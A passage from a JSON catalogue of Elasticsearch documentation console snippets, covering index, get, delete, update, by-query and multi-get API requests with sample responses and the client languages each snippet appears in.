\"my-index-000001,index10,-index1*,+ind*\" <1>\n }\n}\n\nPUT _cluster/settings\n{\n \"persistent\": {\n \"action.auto_create_index\": \"false\" <2>\n }\n}\n\nPUT _cluster/settings\n{\n \"persistent\": {\n \"action.auto_create_index\": \"true\" <3>\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":277},"digest":"b2e1e802fc3c5fbeb4190af7d598c23e","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_doc/\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":291},"digest":"a09537c3c90b97ff0043a665449e16be","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 2,\n \"failed\": 0,\n \"successful\": 2\n },\n \"_index\": \"my-index-000001\",\n \"_id\": \"W0tpsmIBdwcYyG50zbta\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"result\": \"created\"\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":328},"digest":"2a247e36a86a373bcbf478ac9a588f44","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_doc?routing=kimchy\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":456},"digest":"2d01a9e5550b525496757f1bd7f0e706","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/1?timeout=5m\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":487},"digest":"aaa7a61b07861235fb6e489b946c705c","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/1?version=2&version_type=external\n{\n \"user\": {\n \"id\": \"elkbee\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":544},"digest":"3b8ab7027e0d616fb432acd8813e086c","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":558},"digest":"831f0defd362c229000352332447ca4d","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 2,\n \"failed\": 0,\n \"successful\": 2\n },\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"result\": \"created\"\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":579},"digest":"5b58007f10700ec7934580f034404652","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_create/1\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/index_.asciidoc","line":594},"digest":"4bc744b0f33b322741a8caf6d8d7d765","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/1?op_type=create\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":10},"digest":"d87175daed2327565d4325528c6d8b38","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/0"}, {"source_location":{"file":"docs/get.asciidoc","line":59},"digest":"4113c57384aa37c58d11579e20c00760","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/0?_source=false"}, {"source_location":{"file":"docs/get.asciidoc","line":71},"digest":"e5f89a04f50df707a0a53ec0f2eecbbd","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/0?_source_includes=*.id&_source_excludes=entities"}, {"source_location":{"file":"docs/get.asciidoc","line":79},"digest":"0308cbd85281f95fc458042afe3f587d","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/0?_source=*.id"}, {"source_location":{"file":"docs/get.asciidoc","line":92},"digest":"8c9081dc738d1290fd76071b283fcaec","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/2?routing=user1"}, {"source_location":{"file":"docs/get.asciidoc","line":229},"digest":"d87175daed2327565d4325528c6d8b38","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/0"}, {"source_location":{"file":"docs/get.asciidoc","line":237},"digest":"6333f082863b14e8161c311484032fa9","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"0\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"found\": true,\n \"_source\": {\n \"@timestamp\": \"2099-11-15T14:12:12\",\n \"http\": {\n \"request\": {\n \"method\": \"get\"\n },\n \"response\": {\n \"status_code\": 200,\n \"bytes\": 1070000\n },\n \"version\": \"1.1\"\n },\n \"source\": {\n \"ip\": \"127.0.0.1\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":272},"digest":"74a80c28737a0648db0dfe7f049d12f2","lang":"console","found":["python","ruby"],"source":"HEAD my-index-000001/_doc/0"}, {"source_location":{"file":"docs/get.asciidoc","line":288},"digest":"f9c8245cc13770dff052b6759a749efa","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_source/1"}, {"source_location":{"file":"docs/get.asciidoc","line":297},"digest":"c0ff8b3db994c4736f7579dde18097d2","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_source/1/?_source_includes=*.id&_source_excludes=entities"}, {"source_location":{"file":"docs/get.asciidoc","line":307},"digest":"a3e79d6c626a490341c5b731acbb4a5d","lang":"console","found":["python","ruby"],"source":"HEAD my-index-000001/_source/1"}, {"source_location":{"file":"docs/get.asciidoc","line":321},"digest":"d5533f08f5cc0479f07a46c761f0786b","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"counter\": {\n \"type\": \"integer\",\n \"store\": false\n },\n \"tags\": {\n \"type\": \"keyword\",\n \"store\": true\n }\n }\n }\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":342},"digest":"137709a0a0dc38d6094291c9fc75b804","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"counter\": 1,\n \"tags\": [ \"production\" ]\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":354},"digest":"69a08e7bdcc616f3bdcb8ae842d9e30e","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/1?stored_fields=tags,counter"}, {"source_location":{"file":"docs/get.asciidoc","line":362},"digest":"0d85a5dfccce75148466301d09a90c2d","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\" : 22,\n \"_primary_term\" : 1,\n \"found\": true,\n \"fields\": {\n \"tags\": [\n \"production\"\n ]\n }\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":385},"digest":"138f7703c47ddf63633fdf5ca9bc7fa4","lang":"console","found":["python","ruby"],"source":"PUT my-index-000001/_doc/2?routing=user1\n{\n \"counter\" : 1,\n \"tags\" : [\"env2\"]\n}"}, {"source_location":{"file":"docs/get.asciidoc","line":395},"digest":"25a0dad6547d432f5a3d394528f1c138","lang":"console","found":["python","ruby"],"source":"GET my-index-000001/_doc/2?routing=user1&stored_fields=tags,counter"}, {"source_location":{"file":"docs/get.asciidoc","line":403},"digest":"82322a915bc91be5f7d4a1c4704c04b2","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"2\",\n \"_version\": 1,\n \"_seq_no\" : 13,\n \"_primary_term\" : 1,\n \"_routing\": \"user1\",\n \"found\": true,\n \"fields\": {\n \"tags\": [\n \"env2\"\n ]\n }\n}"}, {"source_location":{"file":"docs/delete.asciidoc","line":82},"digest":"0c892d328b73d38396aaef6d9cbcd36b","lang":"console","found":["python","ruby"],"source":"DELETE /my-index-000001/_doc/1?routing=shard-1"}, {"source_location":{"file":"docs/delete.asciidoc","line":138},"digest":"c87038b96ab06d9a741a130f94de4f02","lang":"console","found":["python","ruby"],"source":"DELETE /my-index-000001/_doc/1?timeout=5m"}, {"source_location":{"file":"docs/delete.asciidoc","line":180},"digest":"3db2b5a6424aa92ecab7a8640c38685a","lang":"console","found":["python","ruby"],"source":"DELETE /my-index-000001/_doc/1"}, {"source_location":{"file":"docs/delete.asciidoc","line":188},"digest":"20f2756a78e91d0e2168a1de9d538019","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 2,\n \"failed\": 0,\n \"successful\": 2\n },\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_version\": 2,\n \"_primary_term\": 1,\n \"_seq_no\": 5,\n \"result\": \"deleted\"\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":10},"digest":"ac73895ca1882cd1ac65b1facfbb5c63","lang":"console","found":["python","ruby"],"source":"POST /my-index-000001/_delete_by_query\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"elkbee\"\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":280},"digest":"a24b5dac82c15039ba563caf3db32ce3","lang":"console-result","found":[],"source":"{\n \"took\" : 147,\n \"timed_out\": false,\n \"total\": 119,\n \"deleted\": 119,\n \"batches\": 1,\n \"version_conflicts\": 0,\n \"noops\": 0,\n \"retries\": {\n \"bulk\": 0,\n \"search\": 0\n },\n \"throttled_millis\": 0,\n \"requests_per_second\": -1.0,\n \"throttled_until_millis\": 0,\n \"failures\" : [ ]\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":367},"digest":"a0c868282c0514a342ad04998cdc2175","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query?conflicts=proceed\n{\n \"query\": {\n \"match_all\": {}\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":380},"digest":"7841b65a3bb880ed66cec453925a50cf","lang":"console","found":["python","ruby"],"source":"POST /my-index-000001,my-index-000002/_delete_by_query\n{\n \"query\": {\n \"match_all\": {}\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":394},"digest":"5330191ec9f11281ebf6867bf11c58ae","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query?routing=1\n{\n \"query\": {\n \"range\" : {\n \"age\" : {\n \"gte\" : 10\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":412},"digest":"e9f9e184499a793828233e536fac0487","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query?scroll_size=5000\n{\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":427},"digest":"cdd7127681254f4d614cc075f9e6fbcf","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query\n{\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"max_docs\": 1\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":448},"digest":"4824a823a830a2a5d990eacfd783ac22","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query\n{\n \"slice\": {\n \"id\": 0,\n \"max\": 2\n },\n \"query\": {\n \"range\": {\n \"http.response.bytes\": {\n \"lt\": 2000000\n }\n }\n }\n}\nPOST my-index-000001/_delete_by_query\n{\n \"slice\": {\n \"id\": 1,\n \"max\": 2\n },\n \"query\": {\n \"range\": {\n \"http.response.bytes\": {\n \"lt\": 2000000\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":483},"digest":"7b7a828c21c856a3cbc41fd2f85108bf","lang":"console","found":["python","ruby"],"source":"GET _refresh\nPOST my-index-000001/_search?size=0&filter_path=hits.total\n{\n \"query\": {\n \"range\": {\n \"http.response.bytes\": {\n \"lt\": 2000000\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":501},"digest":"8521cf9682eb1df34207da8ab5de12ad","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":521},"digest":"9cfbc41bb7b6fbdb26550dd2789c274e","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_delete_by_query?refresh&slices=5\n{\n \"query\": {\n \"range\": {\n \"http.response.bytes\": {\n \"lt\": 2000000\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":538},"digest":"b58b17975bbce307b2ccce5051a449e8","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_search?size=0&filter_path=hits.total\n{\n \"query\": {\n \"range\": {\n \"http.response.bytes\": {\n \"lt\": 2000000\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":555},"digest":"8521cf9682eb1df34207da8ab5de12ad","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":606},"digest":"52c7e4172a446c394210a07c464c57d2","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _delete_by_query/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":620},"digest":"216848930c2d344fe0bed0daa70c35b9","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _tasks?detailed=true&actions=*/delete/byquery"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":628},"digest":"5c29776e201b54f7442ddb0438479741","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"r1A2WoRbTwKZ516z6NEs5A\" : {\n \"name\" : \"r1A2WoR\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"host\" : \"127.0.0.1\",\n \"ip\" : \"127.0.0.1:9300\",\n \"attributes\" : {\n \"testattr\" : \"test\",\n \"portsfile\" : \"true\"\n },\n \"tasks\" : {\n \"r1A2WoRbTwKZ516z6NEs5A:36619\" : {\n \"node\" : \"r1A2WoRbTwKZ516z6NEs5A\",\n \"id\" : 36619,\n \"type\" : \"transport\",\n \"action\" : \"indices:data/write/delete/byquery\",\n \"status\" : { <1>\n \"total\" : 6154,\n \"updated\" : 0,\n \"created\" : 0,\n \"deleted\" : 3500,\n \"batches\" : 36,\n \"version_conflicts\" : 0,\n \"noops\" : 0,\n \"retries\": 0,\n \"throttled_millis\": 0\n },\n \"description\" : \"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":674},"digest":"be3a6431d01846950dc1a39a7a6a1faa","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_tasks/r1A2WoRbTwKZ516z6NEs5A:36619"}, {"source_location":{"file":"docs/delete-by-query.asciidoc","line":694},"digest":"18ddb7e7a4bcafd449df956e828ed7a8","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _tasks/r1A2WoRbTwKZ516z6NEs5A:36619/_cancel"}, {"source_location":{"file":"docs/update.asciidoc","line":105},"digest":"b0fa301cd3c6b9db128e34114f0c1e8f","lang":"console","found":["python","ruby","go"],"source":"PUT test/_doc/1\n{\n \"counter\" : 1,\n \"tags\" : [\"red\"]\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":118},"digest":"b3a711c3deddcdb8a3f6623184a8b794","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\" : {\n \"source\": \"ctx._source.counter += params.count\",\n \"lang\": \"painless\",\n \"params\" : {\n \"count\" : 4\n }\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":135},"digest":"cdf400299acd1c7b1b7bb42e284e3d08","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\": {\n \"source\": \"ctx._source.tags.add(params.tag)\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"blue\"\n }\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":155},"digest":"8a1f6cffa653800282c0ae160ee375bc","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\": {\n \"source\": \"if (ctx._source.tags.contains(params.tag)) { ctx._source.tags.remove(ctx._source.tags.indexOf(params.tag)) }\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"blue\"\n }\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":172},"digest":"eb14cedd3bdda9ffef3c118f3d528dcd","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\" : \"ctx._source.new_field = 'value_of_new_field'\"\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":182},"digest":"9bae72e974bdeb56007d9104e73eff92","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\" : \"ctx._source.remove('new_field')\"\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":205},"digest":"a78dfb844d385405d4b0fb0e09b4a5a4","lang":"console","found":["python","ruby"],"source":"POST test/_update/1\n{\n \"script\": \"ctx._source['my-object'].remove('my-subfield')\"\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":218},"digest":"c9ce07a7d3d8a317f08535bdd3aa69a3","lang":"console","found":["python","ruby"],"source":"POST test/_update/1\n{\n \"script\": {\n \"source\": \"if (ctx._source.tags.contains(params.tag)) { ctx.op = 'delete' } else { ctx.op = 'noop' }\",\n \"lang\": \"painless\",\n \"params\": {\n \"tag\": \"green\"\n }\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":238},"digest":"a0f4e902d18460337684d74ea932fbe9","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"doc\": {\n \"name\": \"new_name\"\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":257},"digest":"a0f4e902d18460337684d74ea932fbe9","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"doc\": {\n \"name\": \"new_name\"\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":271},"digest":"431214115cc3e3677d1ab0cd25950fee","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 0,\n \"successful\": 0,\n \"failed\": 0\n },\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_version\": 2,\n \"_primary_term\": 1,\n \"_seq_no\": 1,\n \"result\": \"noop\"\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":290},"digest":"41dbd79f624b998d01c10921e9a35c4b","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"doc\": {\n \"name\": \"new_name\"\n },\n \"detect_noop\": false\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":309},"digest":"436d50b85fc8f0977d02059eec00719b","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"script\": {\n \"source\": \"ctx._source.counter += params.count\",\n \"lang\": \"painless\",\n \"params\": {\n \"count\": 4\n }\n },\n \"upsert\": {\n \"counter\": 1\n }\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":333},"digest":"be5fef0640c3a650ee96f84e3376a1be","lang":"console","found":["python","ruby"],"source":"POST test/_update/1\n{\n \"scripted_upsert\": true,\n \"script\": {\n \"source\": \"\"\"\n if ( ctx.op == 'create' ) {\n ctx._source.counter = params.count\n } else {\n ctx._source.counter += params.count\n }\n \"\"\",\n \"params\": {\n \"count\": 4\n }\n },\n \"upsert\": {}\n}"}, {"source_location":{"file":"docs/update.asciidoc","line":362},"digest":"7b5c231526846f2f7b98d78f3656ae6a","lang":"console","found":["python","ruby","go"],"source":"POST test/_update/1\n{\n \"doc\": {\n \"name\": \"new_name\"\n },\n \"doc_as_upsert\": true\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":12},"digest":"7ae434b3667c589a8e70fe560f4ee3f9","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query?conflicts=proceed"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":325},"digest":"e58833449d01379df20ad06dc28144d8","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query?conflicts=proceed\n{\n \"query\": { <1>\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":344},"digest":"69c07cfdf8054c301cd6186c5d71aa02","lang":"console","found":["python","ruby"],"source":"POST my-index-000001,my-index-000002/_update_by_query"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":352},"digest":"946522c26d02bebf5c527ba28e55c724","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query?routing=1"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":361},"digest":"bd23c3a03907b1238dcb07ab9eecae7b","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query?scroll_size=100"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":369},"digest":"2c3dff44904d3d73ff47f1afe89c7f86","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query\n{\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"max_docs\": 1\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":403},"digest":"44da736ce0e1587c1e7c45eee606ead7","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query\n{\n \"script\": {\n \"source\": \"ctx._source.count++\",\n \"lang\": \"painless\"\n },\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":444},"digest":"4b1044259a6d777d87529eae25675005","lang":"console","found":["python","ruby"],"source":"PUT _ingest/pipeline/set-foo\n{\n \"description\" : \"sets foo\",\n \"processors\" : [ {\n \"set\" : {\n \"field\": \"foo\",\n \"value\": \"bar\"\n }\n } ]\n}\nPOST my-index-000001/_update_by_query?pipeline=set-foo"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":468},"digest":"7df191cc7f814e410a4ac7261065e6ef","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _tasks?detailed=true&actions=*byquery"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":476},"digest":"f1296279330128c256ce88082d1de1e0","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"r1A2WoRbTwKZ516z6NEs5A\" : {\n \"name\" : \"r1A2WoR\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"host\" : \"127.0.0.1\",\n \"ip\" : \"127.0.0.1:9300\",\n \"attributes\" : {\n \"testattr\" : \"test\",\n \"portsfile\" : \"true\"\n },\n \"tasks\" : {\n \"r1A2WoRbTwKZ516z6NEs5A:36619\" : {\n \"node\" : \"r1A2WoRbTwKZ516z6NEs5A\",\n \"id\" : 36619,\n \"type\" : \"transport\",\n \"action\" : \"indices:data/write/update/byquery\",\n \"status\" : { <1>\n \"total\" : 6154,\n \"updated\" : 3500,\n \"created\" : 0,\n \"deleted\" : 0,\n \"batches\" : 4,\n \"version_conflicts\" : 0,\n \"noops\" : 0,\n \"retries\": {\n \"bulk\": 0,\n \"search\": 0\n },\n \"throttled_millis\": 0\n },\n \"description\" : \"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":526},"digest":"be3a6431d01846950dc1a39a7a6a1faa","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_tasks/r1A2WoRbTwKZ516z6NEs5A:36619"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":546},"digest":"18ddb7e7a4bcafd449df956e828ed7a8","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _tasks/r1A2WoRbTwKZ516z6NEs5A:36619/_cancel"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":565},"digest":"bdb30dd52d32f50994008f4f9c0da5f0","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _update_by_query/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":585},"digest":"ddf56782ecc7eaeb3115e150c4830013","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query\n{\n \"slice\": {\n \"id\": 0,\n \"max\": 2\n },\n \"script\": {\n \"source\": \"ctx._source['extra'] = 'test'\"\n }\n}\nPOST my-index-000001/_update_by_query\n{\n \"slice\": {\n \"id\": 1,\n \"max\": 2\n },\n \"script\": {\n \"source\": \"ctx._source['extra'] = 'test'\"\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":612},"digest":"b515427f8685ca7d79176def672d19fa","lang":"console","found":["python","ruby"],"source":"GET _refresh\nPOST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":621},"digest":"7792734b746340ee3771a7931f0ef7bd","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\": {\n \"value\": 120,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":641},"digest":"be5b415d7f33d6f0397ac2f8b5c10521","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_update_by_query?refresh&slices=5\n{\n \"script\": {\n \"source\": \"ctx._source['extra'] = 'test'\"\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":654},"digest":"d1fde25de1980b7e84fa878289fd0bcb","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":662},"digest":"7792734b746340ee3771a7931f0ef7bd","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"total\": {\n \"value\": 120,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":710},"digest":"2fe28d9a91b3081a9ec4601af8fb7b1c","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT test\n{\n \"mappings\": {\n \"dynamic\": false, <1>\n \"properties\": {\n \"text\": {\"type\": \"text\"}\n }\n }\n}\n\nPOST test/_doc?refresh\n{\n \"text\": \"words words\",\n \"flag\": \"bar\"\n}\nPOST test/_doc?refresh\n{\n \"text\": \"words words\",\n \"flag\": \"foo\"\n}\nPUT test/_mapping <2>\n{\n \"properties\": {\n \"text\": {\"type\": \"text\"},\n \"flag\": {\"type\": \"text\", \"analyzer\": \"keyword\"}\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":748},"digest":"abd4fc3ce7784413a56fe2dcfe2809b5","lang":"console","found":["php","python","ruby","go","js"],"source":"POST test/_search?filter_path=hits.total\n{\n \"query\": {\n \"match\": {\n \"flag\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":761},"digest":"9c462a848a35c5bc6f82c3b55a80d56f","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\": {\n \"value\": 0,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":775},"digest":"97babc8d19ef0866774576716eb6d19e","lang":"console","found":["php","python","ruby","go","js"],"source":"POST test/_update_by_query?refresh&conflicts=proceed\nPOST test/_search?filter_path=hits.total\n{\n \"query\": {\n \"match\": {\n \"flag\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"docs/update-by-query.asciidoc","line":789},"digest":"fd2e9d72fadf8ef650d0ab51ede61525","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":10},"digest":"dcc02ad69da0a5aa10c4e53b34be8ec0","lang":"console","found":["ruby"],"source":"GET /_mget\n{\n \"docs\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\"\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"2\"\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":138},"digest":"4a1951844bd39f26961bfc965f3432b1","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_mget\n{\n \"docs\": [\n {\n \"_id\": \"1\"\n },\n {\n \"_id\": \"2\"\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":156},"digest":"59f0ad2a6f97200e98e8eb079cdd8334","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_mget\n{\n \"ids\" : [\"1\", \"2\"]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":178},"digest":"fd352b472d44d197022a46fce90b6ecb","lang":"console","found":["ruby"],"source":"GET /_mget\n{\n \"docs\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_source\": false\n },\n {\n \"_index\": \"test\",\n \"_id\": \"2\",\n \"_source\": [ \"field3\", \"field4\" ]\n },\n {\n \"_index\": \"test\",\n \"_id\": \"3\",\n \"_source\": {\n \"include\": [ \"user\" ],\n \"exclude\": [ \"user.location\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"docs/multi-get.asciidoc","line":216},"digest":"4cb44556b8c699f43489b17b42ddd475","lang":"console","found":["ruby"],"source":"GET /_mget\n{\n \"docs\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"stored_fields\": [ \"field1\", \"field2\" ]\n },\n {\n 